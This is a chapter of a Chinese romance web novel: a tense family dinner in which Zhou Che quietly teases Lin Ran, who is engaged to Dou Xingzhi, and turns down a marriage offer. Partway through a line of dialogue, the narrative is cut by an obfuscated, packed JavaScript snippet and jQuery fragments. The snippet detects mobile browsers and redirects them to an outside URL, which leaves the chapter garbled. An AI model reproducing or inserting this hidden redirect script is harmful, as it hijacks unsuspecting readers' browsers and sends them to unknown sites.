4. 第 4 章(修)

作品:《他偏要横插一脚

    林苒吓得两眼发黑,躲开视线,执箸浑浑噩噩给窦行之布菜,也不知夹了什么,连续夹了几根笋后,窦行之用筷轻轻挡开她的筷,道让她自己先吃。


    这饭吃得如坐针毡,也被周澈无声的话吓得汗毛直立,算是被抓住了把柄。


    周澈之后没再看她,可越是如此,她心底更是慌乱。


    林苒面前摆着一道枇杷炖鹧鸪,往日很少能吃到这样的菜式,她极是喜爱。她缩着肩膀,怯怯吃了两口,窦行之忽然伸过手,将菜碗往自己那边挪去。


    林苒手顿在半空,又收了回来,默默夹离得最近的笋,只是那碟子也在窦行之一侧,她别过身,扭着胳膊,好不费力。


    周澈突然伸过筷来,拍了下窦行之的碗,“拉那么远,谁夹得到?”


    窦行之一怔,笑嘻嘻地将几道菜往周澈方向挪了挪,恰好离林苒也近了些,无需再别扭着胳膊。


    林苒抬头望向周澈,他正吃着饭,没看她。


    窦行之大吃几口后,朝着林苒一笑:“苒娘辛苦,这几道菜搭配起来,确实好吃。”


    说着,他突然馋酒,让人将茶给换了。


    周澈也叫来丫鬟添茶,淡雅茶香四溢,他随口问了一句:“这是新茶?”


    林苒心头一阵乱跳,低下头手指哆嗦,没敢去夹那道炖鹧鸪。


    丫鬟不明所以,颔首称“是”。


    林苒咬着唇,头也不敢抬,只听他轻声道:“那就放心了。”


    那声音极小,只有她一个人听见了似的。


    “苒娘,你脸怎么红了?”窦行之忽然问。


    林苒眼皮猛跳,下意识用手背去摸脸颊,不知如何应他,只道:“是吗?可能热着了。”


    窦行之笑着抬起冰凉的酒杯碰了下她的脸,一触即分,又亲自夹了只咸蛋黄煎虾放到林苒碗中,嘱咐:“我看你是累着了,这大冷天的,我都得揣个手炉,来,多吃点。”


    林苒尴尬又腼腆地笑笑,看着碗里的蛋黄煎虾,抿了抿唇,最后闷着头吃下。吃完,窦行之又给她夹上一只。林苒筷子一顿,看着这只新的蛋黄煎虾,喉头微微一紧,还是低头默默吃了。


    大夫人早已下箸,淡淡道:“你对苒娘倒是呵护,只是这么多人在,注意点儿。”


    林苒微僵,立刻夹了几个窦行之喜欢的放他碗里。


    窦行之倒满不在乎,懒洋洋靠在椅背上,浊酒下肚,笑道:“就咱们几个,都一家人。若非母亲坐得远,儿定然亲自给您布菜。”


    大夫人难得一笑,摇头道:“看你嘴贫的。”


    窦老爷也正好吃完,下箸,待丫鬟伺候着漱过口后,点他:“你别只会贫嘴,若想快点儿娶妻,就把心思多放在读书上。”


    “这不忙着大朝会的马毬赛么?日日训练,哪儿来的时间念书,成亲的事情不急于一时。”


    往年大朝会要再晚些,可这次大梁打了胜仗,给最跳脚的北狄迎头痛击,皇帝便提前了日子,势必要让北狄使臣入朝,展大国之威。


    而窦行之自身体康健后格外迷恋马背,次次马毬赛都拔得头筹,在这方面也算是出了名的。窦老爷时常恨铁不成钢,说他若将骑马玩乐的时间拿来读书,早中进士了。


    而对于他们自幼的亲事,人人都知这是铁板钉钉,林苒却心知肚明,窦行之在逃避。


    她看了窦行之一眼,倏然有些食不知味。她小口吃着白饭,别着胳膊,怕夹菜的动作太大被大夫人注意,于是吃得更慢。


    窦老爷蹙眉:“又是你领队?”


    “可不,不信你问周哥。”


    周澈见窦老爷看过来,“嗯”了一声。他正伸长了手,用另一双没用过的筷去夹那道鹧鸪,也不知怎的,突然抖了一下,鹧鸪竟直直从碗边斜掉到林苒碟子里。


    林苒一怔,看着那块肉,不会动了。


    抬眼去看对面,只见他眉眼间闪过一丝微不可查的暗恼,又重新夹了一块放自己碗里。


    窦老爷不满:“你就非要领队?春闱在即,这次中不了进士,要等明年。”


    窦行之长叹:“就算我不参与,今年也不见得能中。”


    窦大郎笑着插话打趣:“二郎是不着急成家立业,未来媳妇儿就在这儿,能跑哪儿去?进士么,总有一日能中。倒是周郎,听闻此次回京路上,已有不少人家说亲。”


    大夫人插话:“还没回到上京就说亲?”


    窦行之见终于不说他了,也接话:“可不,周哥的婚事自己说了算,上京的权贵就算想说亲,也得和周哥说。这不四处打探,叫媒婆去路上堵人,都怕他被人给抢了去。却想不到,他就没和定北军一块儿回。”


    窦老爷身子微微坐直,“周郎也早到年纪了,你与我窦家本就亲近,可见了哪个姑娘,要有看上的,咱们亲上加亲。”


    听他们闲话,林苒将那块鹧鸪肉往旁边扒拉,嫌弃地用白饭埋起来,这才再次看向对面的周澈。


    此时他仍没太多表情,能感到他对此满不在乎。想到窦家的姑娘们,第一个进入脑海的是六姑娘。她记得,六姑娘常打听定北军。


    果然,大夫人提:“家中六姑娘年龄正好,说来,我正愁她的婚事。”


    窦老爷附和:“她这小姑娘,被养得叛逆,不过这股子叛逆,倒适合配武将,不适合文臣。”


    林苒觉得周澈会接下这门好亲事。


    六姑娘虽庶出,却是窦家受宠的女儿,非其他人家的嫡女比得上的。


    几人说个不停,谈话间,将周澈的亲事定下似的,竟开始谈起六姑娘的嫁妆。


    周澈启唇打断:“多谢窦公与大夫人好意,然我不欲成亲。”


    大夫人眉间不解:“这是为何?莫非有心仪女子?”


    周澈忽然笑了一声,目光掠过林苒,没有一息停留,回道:“曾有大师断言,我天煞孤星,克妻克子的命格,孑然一人便罢了,怕是不好去祸害人家。”


    “大师?哪儿的大师?”大夫人果真收回了心思,只眼中满是可惜。


    窦行之笑起来,“母亲你忘了,周哥信佛,定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405488|200482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是某个寺庙的方丈。”


    信佛?


    林苒只觉得好怪一人,明明一肚子坏水,还揣着“杀神”名号,身上哪儿有一丝佛家性情。


    周澈不置可否,抬起桌上的酒杯一饮而尽,在酒杯挡住脸时,他朝着林苒望去,她正低头忙忙碌碌地吃饭,看起来像是在刻木雕,认真极了。


    放下酒杯后,又漫不经心收回视线。


    窦老爷一边喝酒,一边摆手:“你啊,别叫周郎感到不自在,他那么大人了,会为自己做主。倒是周郎,别想太多,你就安心在这儿住下。”


    大夫人不再说话了,窦老爷继续问他:“你离开上京这么久,若找不到合适的宅子,不如我直接从名下过一套给你。恰好我有一套三进院,离宫也近。”


    周澈:“我一人,住这么大的宅子不方便,其实已经看上一处小宅,只不过需要时间修葺,便不劳窦公。”


    窦老爷颔首,“那你之前城外的……?”


    周澈:“还留着,本考虑还是住以前的地方,可如今在殿前司,住那儿也不适合,会叫人定期清扫。”


    窦行之拿过几块点心,百无聊赖地啃着,“周哥一向有自己的主意,谁也管不了。”


    芮娘喝完汤,听人来禀自己的两个女儿在闹脾气,心里着急,叫丫鬟扶着起身告辞。席间只剩林苒一个人还在细嚼慢咽。


    大夫人眉头微蹙,“苒娘吃这么慢?就让长辈等着?”


    “我……”林苒顿住,一时间不知是应下箸,还是应答她的话。


    好在还未纠结多久,周澈笑道:“大夫人莫是嫌我这做武将的胃口大?”


    “我哪儿说你了……”大夫人这样说着,却在看到周澈桌前时一怔,没再继续说。


    林苒跟着朝他看去,不知他什么时候叫丫鬟又给盛了一大碗新的白饭,印象中,是第三碗。


    原来他还没吃完。


    大夫人客气道:“没有的事,我也是忘了你常年行军。诶,不着急,你慢吃,这回了上京,就该多吃。”


    林苒脑中紧绷的弦瞬间松垮下来。她加快了进食速度,忙着吃白饭,也不去夹菜了。


    窦行之把玩着酒杯,调侃:“一趟北征,叫周哥胃口这么大了。”


    周澈抬眼看他,道:“还行,刚吃了特别咸的,想多吃点儿白饭。”


    林苒被呛了一口,差点咳出来,硬是憋了回去,缩着肩膀不敢去看对面。她低下头吃,努力忽略一股莫名的气氛,不知不觉间,把埋在最下面的那块鹧鸪也一同进了肚子。


    “咸吗?”窦行之不解,“我今儿吃着菜都挺不错的,你吃的哪个菜特别咸?”


    “是不错。”周澈不经意瞥林苒一眼,很轻的一眼,没人注意到,“谁知道呢?”


    一顿膳用完,林苒忙不迭溜回厨房,这才发现自己竟沁出了一层薄汗。


    灶间热气蒸腾,她低头忙着收拾碗碟,手指却仍有些发软,等好不容易缓过一口气,耳边却又无端响起那句“特别咸”,惹得她耳根发热。